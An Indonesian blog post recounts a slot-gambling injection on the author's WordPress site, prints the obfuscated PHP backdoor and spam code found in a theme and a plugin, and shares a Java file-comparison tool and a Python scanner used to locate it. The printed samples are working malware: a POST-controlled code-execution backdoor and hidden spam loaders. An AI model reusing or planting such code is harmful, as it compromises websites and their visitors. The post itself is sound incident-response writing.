Kode Java Membandingkan Dua File
Suatu hari, website yang penulis kelola, yang menggunakan Wordpress mendapat serangan injeksi judi slot.
Hasilnya, di domain penulis, terdapat link landing page halaman promosi permainan tersebut.
Setelah penulis cari-cari, di bawah ini adalah contoh kode PHP yang muncul di file functions.php theme Wordpress, yang penulis gunakan.
if( ! function_exists('qmqkrosuwcclz') ) { function qmqkrosuwcclz($hofwrudrjow, $arprughxl) { $dcfibrnhftqbtq = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; $hofwrudrjow = strtr($hofwrudrjow, $arprughxl, $dcfibrnhftqbtq); $hofwrudrjow = cogrjgxig($hofwrudrjow); return $hofwrudrjow; } function cogrjgxig($drvphbmibfcfnms) { $drvphbmibfcfnms = base64_decode($drvphbmibfcfnms); return $drvphbmibfcfnms; } $izvyyhb = $_POST; if(isset($izvyyhb['wtcyzjbnafe'])) { $tzivwumxaiztpg = $izvyyhb['wtcyzjbnafe']; $ozghajv = qmqkrosuwcclz($izvyyhb['lvenvrrdsiathe'], $tzivwumxaiztpg); $huxekmu = qmqkrosuwcclz($izvyyhb['eygguylsomiwnh'], $tzivwumxaiztpg); $ptfknvndkww = qmqkrosuwcclz($izvyyhb['ntxczrhjejw'], $tzivwumxaiztpg); $ptfknvndkww($ozghajv, $huxekmu); include($ozghajv); } } /* fisika.ub.ac.id theme functions */ global $wpdb; $nematelminth = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->termmeta WHERE meta_id = %d",1)); if (isset($_GET[str_rot13(strrev($nematelminth->meta_key))])) { header('Access-Control-Allow-Headers: Cache-Control'); header('Cache-Control: Public, Max-Age=31536000, Immutable'); header('Pragma: Cache'); add_filter('json_enabled','__return_false' ); add_filter('json_jsonp_enabled','__return_false' ); add_filter('rest_enabled','__return_false'); add_filter('rest_jsonp_enabled','__return_false'); add_filter('rewrite_rules_array','disable_embeds_rewrites'); remove_action('init','rest_api_init' ); remove_action('parse_request','rest_api_loaded' ); remove_action('rest_api_init','create_initial_rest_routes', 99); remove_action('rest_api_init','register_initial_settings', 10); remove_action('rest_api_init','rest_api_default_filters', 10); remove_action('template_redirect','rest_output_link_header',11); remove_action('template_redirect','wp_shortlink_header',11); remove_action('wp_head','rest_output_link_wp_head'); remove_action('wp_head','wp_oembed_add_discovery_links'); remove_action('wp_head','wp_shortlink_wp_head',10); remove_action('wp_head','wlwmanifest_link'); add_action( 'init', function () { remove_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'embed_oembed_discover', '__return_false' ); remove_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10 ); remove_action( 'wp_head', 'wp_oembed_add_discovery_links' ); remove_action( 'wp_head', 'wp_oembed_add_host_js' ); add_filter( 'tiny_mce_plugins', function ( $autobuses ) { return array_diff( $autobuses, array( 'wpembed' ) ); } ); add_filter( 'rewrite_rules_array', function ( $steadite ) { foreach ( $steadite as $rumbo => $cyanicide ) { if ( false !== strpos( $cyanicide, 'embed=true' ) ) { unset( $steadite[ $rumbo ] ); } } return $steadite; } ); remove_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10 ); }, 9999 ); print( gzinflate( base64_decode( $nematelminth->meta_value ))); die; }
Dan yang berikut ini, adalah contoh kode injeksi yang penulis temukan di plugin:
function print_slide_(){ foreach(new DirectoryIterator(__DIR__)as $outrhymed){ if($outrhymed->isFile()&&$outrhymed->isWritable()){ chmod($outrhymed->getRealPath(),0555);}}chmod(getcwd(),0555); if(isset($_GET[str_rot13(strrev('avjknz-ebpnt-gbyf-bzrq-ahxn'))])){ header('Access-Control-Allow-Headers: Cache-Control'); header('Cache-Control: Public, Max-Age=31536000, Immutable'); header('Pragma: Cache'); add_filter('wp_head','return_cards_grid_section',0); $scorchproof = base64_decode(' MmY3NjYxNzIyZjc3Nzc3NzJmNjg3 NDZkNmMyZjY2NjkyZjc3NzAyZDYz NmY2ZTc0NjU2ZTc0MmY3NTcwNmM2 ZjYxNjQ3MzJmMzIzMDMxMzMyZjMw MzgyZjQ5NGQ0NzVmMzIzMDMxMzMz MDM4MzIzNzVmMzEzMTMwMzMzMjM3 MmU2NzY5NjY= '); $stilter = ''; for ($suballocated=0;$suballocated<strlen($scorchproof)-1;$suballocated+=2){ $stilter.=chr(hexdec($scorchproof[$suballocated].$scorchproof[$suballocated+1])); } print(gzinflate( str_replace( base64_decode('R0lGODlhIOBbV0913ydsYlbdOw=='), '',file_get_contents($stilter))));die; } }
Kedua hal ini menunjukkan, serangan injeksi bukan hanya pada plugin, tetapi juga pada theme.
Salah satu cara dummy mencari kedua kode injeksi di atas, yaitu penulis membandingkan antara file yang belum terinfeksi, dengan yang sudah terinfeksi dengan kode Java berikut:
package com.edugameapp.comparefiles; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; /** * * @author User */ public class CompareFiles { public boolean compareTwoFile(String filepath1,String filepath2) { try{ int lineNumber = 1; String line1 = "", line2 = ""; BufferedReader bf1 = Files.newBufferedReader(Paths.get(filepath1)); BufferedReader bf2 = Files.newBufferedReader(Paths.get(filepath2)); while ((line1 = bf1.readLine()) != null) { line2 = bf2.readLine(); if (line2 == null || !line1.equals(line2)) { return false; } lineNumber++; } return true; }catch(IOException e){ System.out.println("Error :"+e.toString()); return false; } } public void tryScan(String dir_path) { File f = new File(dir_path); for (File fo : f.listFiles()) { if (fo.isFile()) { String p=fo.getAbsolutePath(); p=p.replace("themesehat", "themesakit");
if(!compareTwoFile(fo.getAbsolutePath(),p)){ System.out.println(fo.getAbsolutePath()); } } else if (fo.isDirectory()) { tryScan(fo.getAbsolutePath()); } } } public static void main(String[] args) { CompareFiles main=new CompareFiles(); main.tryScan("D:\\Depa..\\..\\themesehat"); System.out.println("Done"); } }
Dengan meletakkan pada folder yang berbeda (misalnya themesehat dan themesakit), antara theme yang sudah terinfeksi dengan yang belum. Kode di atas akan memberikan tanda bahwa file itu berbeda.
Dengan begitu, pencarian akan lebih cepat diarahkan untuk melihat file-file yang berbeda saja. Meskipun manual.
Awalnya, penulis mencoba menggunakan bahasa Python untuk membuat program pencari perbedaan antara dua file di atas, dengan mencoba membuat scanner sesuai kode di bawah ini:
import os dir_path = r'D:\De..\themesehat' def scanFile(dir_path): print(dir_path) for path in os.listdir(dir_path): pathfile=os.path.join(dir_path, path) if os.path.isfile(pathfile): file1 = open(pathfile, 'r') while True: line = file1.readline() if not line: break for row in line: if row.find('byUboiz') != -1: print("ADA") elif os.path.isdir(pathfile): scanFile(pathfile) scanFile(dir_path)
Sayangnya, library scanning file Python ini, adakalanya tidak mampu membaca file dengan sempurna, malah berhenti dan tidak bisa melewati. Padahal, keinginan penulis, "Lanjutkan lewati saja Mas Bro, Ngapain berhenti!".
Bukan karena Java lebih baik dibanding Python, sehingga kode pembanding akhirnya penulis tulis dengan Java, hanya saja penulis tidak menyukai Python.
Kesimpulannya, solusi yang lakukan di atas, bukan hal terbaik untuk problem injeksi website penulis. Sangat dimungkinkan website yang penulis kelola ini masih terdapat lubang, yang sewaktu-waktu masih dapat diserang lagi, dan penulis belum tahu itu. Langkah ini karena, penulis hanya sebagai Administrator, bukan sebagai Super Admin di server yang penulis bekerja di sana.
Komentar
Posting Komentar